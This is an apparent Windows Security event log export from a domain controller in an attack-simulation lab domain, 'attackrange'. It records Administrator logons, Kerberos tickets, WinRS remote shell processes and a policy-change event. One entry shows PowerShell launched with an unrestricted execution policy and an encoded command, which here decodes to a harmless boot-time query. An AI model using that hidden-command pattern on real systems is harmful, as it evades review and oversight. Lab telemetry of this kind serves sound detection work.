	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253842
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253841
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253840
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6084F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11e8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11d4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253839
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6084F

Process Information:
	New Process ID:		0x11d4
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253838
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6084F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253837
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6084F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253836
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253835
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253834
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253833
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5D59D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253832
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\System32\taskhostw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	taskhostw.exe SYSTEM

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253831
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x593D6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253830
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5D59D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253829
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5D59D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253828
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253827
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253826
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253825
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5B11A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4713
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=253824
Keywords=Audit Success
Message=Kerberos policy was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Changes Made:
('--' means no changes, otherwise each change is shown as:
(Parameter Name):	(new value) (old value))
KerOpts: 0x80 (none);  KerMinT: 0x53d1ac1000 (none);  KerMaxT: 0x53d1ac1000 (none);  KerMaxR: 0x58028e44000 (none);  KerProxy: 0xb2d05e00 (none);  KerLogoff: 0x9 (none);
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4739
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=253823
Keywords=Audit Success
Message=Domain Policy was changed.

Change Type:		Password Policy modified

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Domain:
	Domain Name:		ATTACKRANGE
	Domain ID:		ATTACKRANGE\

Changed Attributes:
	Min. Password Age:	
	Max. Password Age:	
	Force Logoff:		ɢ
	Lockout Threshold:	-
	Lockout Observation Window:	-
	Lockout Duration:	-
	Password Properties:	-
	Min. Password Length:	-
	Password History Length:	-
	Machine Account Quota:	7
	Mixed Domain Mode:	24
	Domain Behavior Version:	-
	OEM Information:	-

Additional Information:
	Privileges:		-
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253822
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5B11A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253821
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5B11A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253820
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253819
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253818
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253817
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x587DD

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ac
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10a0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253816
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x587DD

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1054
	Creator Process Name:	C:\Windows\System32\winrshost.exe
